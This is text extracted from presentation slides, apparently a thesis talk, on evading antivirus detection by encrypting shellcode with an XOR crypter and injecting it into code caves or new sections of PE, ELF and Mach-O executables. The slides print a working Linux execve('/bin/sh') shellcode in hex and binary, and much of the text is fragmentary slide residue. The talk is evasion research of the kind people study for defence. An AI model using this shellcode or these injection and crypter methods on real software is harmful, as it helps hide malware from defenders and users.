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OverviewOverview
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Shellcode

=
\\xeb\x1b\x5b\x31\xc0\x89\x43\x08\x50\x53\
x89\xe1\x89\xca\x83\xc2\x04\x83\xc0\x0b\
xcd\x80\x83\xe8\x0a\x31\xdb\xcd\x80\xe8\
xe0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

11101011 00011011 01011011 00110001 11000000 10001001 
01000011 00001000 01010000 01010011 10001001 11100001 
10001001 11001010 10000011 11000010 00000100 10000011 
11000000 00001011 11001101 10000000 10000011 11101000 
00001010 00110001 11011011 11001101 10000000 11101000 
11100000 11111111 11111111 11111111 00101111 01100010 
01101001 01101110 00101111 01110011 01101000
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Common Attack
CrackerCrackerVictimVictim

www.trustme.ru
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Why it fail?
CrackerCrackerVictimVictim

!?
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How does AV work?

Definizioni

SignatureVirus

11000000 00001011 11001101 10000000 10000011XYZ

11101011 00011011 01011011 00110001 11000000 10001001 01000011
00001000 01010000 01010011 10001001 11100001 10001001 11001010
10000011 11000010 00000100 10000011 11000000 00001011 11001101 
10000000 10000011 11101000 00001010 00110001 11011011 11001101
10000000 11101000 11100000 11111111 11111111 11111111 00101111
01100010 01101001 01101110 00101111 01110011 01101000
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  gianluca.gabrielli@autistici.org @Gianlucode

Crypter

11101011 00011011 01011011 00110001 11000000 10001001 01000011 00001000

+
01100001 01100001 01100001 01100001 01100001 01100001 01100001 01100001

Passw: 'a'
ASCII = 01100001

=

10001010 01111010 00111010 01010000 10100001 11101000 00100010 01101001

aa



  

Crypter

10001010 01111010 00111010 01010000 10100001 11101000 00100010 01101001

STUB

Passw: 'a'
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Operative Systems
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Operative Systems
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PE Mach-O ELF

Operative Systems
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Code Caves

01100100 10010010 11101100
10010010 10111101 10100101
01001000 00101000 01100100
10010010 11101100 10010010
10111101 10100101 01001000
00101000 01100100 10010010
11101100 10010010 10111101
10100101 01001000 00101000
01100100 10010010 11101100
10010010 10111101 10100101
01001000 00101000 01100100
10010010 11101100 10010010
10111101 10100101 01001000
00101000 01100100 10010010
11101100 10010010 10111101

.

.

.
01001000 00101000 01100100
10010010 11101100 10010010
 10111101 10100101 01001000 
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Code Caves

01100100 10010010 11101100 10010010 11101100 10010010
10010010 10010010 11101100 10010010 10111101 10100101
01001000 11101100 10010010 10111101 00101000 01100100
11101100 10010010 10111101 10010010 11101100 10010010
10111101 10100101 10010010 11101100 10010010 01001000
00101000 01100100 11101100 10010010 10111101 10010010
11101100 10010010 10111101 10010010 11101100 10010010
10100101 10010010 11101100 10010010 01001000 00101000
01100100 10010010 11101100 10010010 10010010 11101100
00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000
00101000 10010010 11101100 10010010 01100100 10010010
11101100 10010010 10111101 10010010 11101100 00101000

.

.

.
01001000 10010010 11101100 10010010 00101000 01100100
10010010 11101100 00101000 10010010 11101100 10010010
 10111101 10100101 10010010 11101100 10010010 01001000 

@CrazyBytecrazybyte.me



  

Code Caves

01100100 10010010 11101100 10010010 11101100 10010010
10010010 10010010 11101100 10010010 10111101 10100101
01001000 11101100 10010010 10111101 00101000 01100100
11101100 10010010 10111101 10010010 11101100 10010010
10111101 10100101 10010010 11101100 10010010 01001000
00101000 01100100 11101100 10010010 10111101 10010010
11101100 10010010 10111101 10010010 11101100 10010010
10100101 10010010 11101100 10010010 01001000 00101000
01100100 10010010 11101100 10010010 10010010 11101100
00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000
00101000 10010010 11101100 10010010 01100100 10010010
11101100 10010010 10111101 10010010 11101100 00101000

.

.

.
01001000 10010010 11101100 10010010 00101000 01100100
10010010 11101100 00101000 10010010 11101100 10010010
 10111101 10100101 10010010 11101100 10010010 01001000 
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Portable Executable

 01100100 10010010 11101100 10010010 
10111101 10100101 10010010 11101100
10010010 01001000 00101000 01100100
11101100 10010010 10111101 10010010
11101100 10010010 10111101 10010010
11101100 10010010 10100101 10010010
11101100 10010010 01001000 00101000
01100100 10010010 11101100 10010010
10010010 11101100 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00101000 10010010 11101100 10010010
01100100 10010010 11101100 10010010
10111101 10010010 11101100 00101000

.

.

.
01001000 10010010 11101100 1001001
00101000 01100100 10010010 1110110
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Portable Executable

Single Cave
Multiple Caves
Adding a Section

Three Ways to InjectThree Ways to Inject
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Portable Executable
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Portable Executable

ShellcodeShellcode
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Portable Executable
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PE – Multiple Caves
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PE – Multiple Caves
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PE – Multiple Caves
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How does AV work?

Definizioni

SignatureVirus

11000000 00001011 11001101 10000000 10000011XYZ

11101011 00011011 01011011 00110001 11000000 10001001 01000011
00001000 01010000 01010011 10001001 11100001 10001001 11001010
10000011 11000010 00000100 10000011 11000000 00001011 11001101 
10000000 10000011 11101000 00001010 00110001 11011011 11001101
10000000 11101000 11100000 11111111 11111111 11111111 00101111
01100010 01101001 01101110 00101111 01110011 01101000
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PE – Multiple Caves
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ELF
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ELF
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ELF
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ELF
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Mach-O
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Mach-O
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Mach-O
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Thesis
Presentation

Charts

Are made just using
Free Software

www.libreoffice.org

THANKS FOR THE ATTENTION

@CrazyBytecrazybyte.me
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